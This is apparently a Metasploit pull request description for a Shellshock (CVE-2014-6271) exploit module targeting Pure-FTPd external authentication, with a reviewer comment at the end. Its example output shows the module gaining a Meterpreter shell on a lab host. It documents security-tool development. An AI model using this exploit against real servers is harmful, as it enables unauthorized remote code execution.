Add CVE-2014-6271 Bash / Shellshock exploit via Pure-FTPd ext-auth

This module exploits the well known Bash Environment variable injection flaw in Pure-FTPd servers that execute an external program for authentication. The password field is used instead of the username field because it seems to allow longer commands to be executed.

The original Pure-FTPd PoC was posted [here](https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc).

Example output:
```
msf-git (S:0 J:0) exploit(pureftpd_bash_env_exec) > show options 

Module options (exploit/multi/ftp/pureftpd_bash_env_exec):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.90.144   yes       The target address
   RPATH  /bin             yes       Target PATH for binaries used by the CmdStager
   RPORT  21               yes       The target port


Payload options (linux/x86/meterpreter/bind_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  0                no        Debugging options for POSIX meterpreter
   LPORT         4444             yes       The listen port
   RHOST         192.168.90.144   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Linux x86


msf-git (S:0 J:0) exploit(pureftpd_bash_env_exec) > exploit

[*] Started bind handler
[*] Connecting to FTP server 192.168.90.144:21...
[*] Connected to target FTP server.
[*] Command Stager progress -  85.74% done (499/582 bytes)
[*] Connecting to FTP server 192.168.90.144:21...
[*] Connected to target FTP server.
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 192.168.90.144
[*] Meterpreter session 14 opened (192.168.90.226:36735 -> 192.168.90.144:4444) at 2014-10-01 14:47:57 -0400
[*] Command Stager progress - 100.86% done (587/582 bytes)

meterpreter > sysinfo
Computer     : ubuntu
OS           : Linux ubuntu 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:30:00 UTC 2014 (x86_64)
Architecture : x86_64
Meterpreter  : x86/linux
meterpreter >
```

The check method uses the vulnerability to echo out the required information to authenticate a user.
Somewhere in the description you should include the string /shellshock/i so people can search for it and have a prayer. I'm glad you say "bash" and have the refs, but nobody will remember that this is shellshock in 6 months.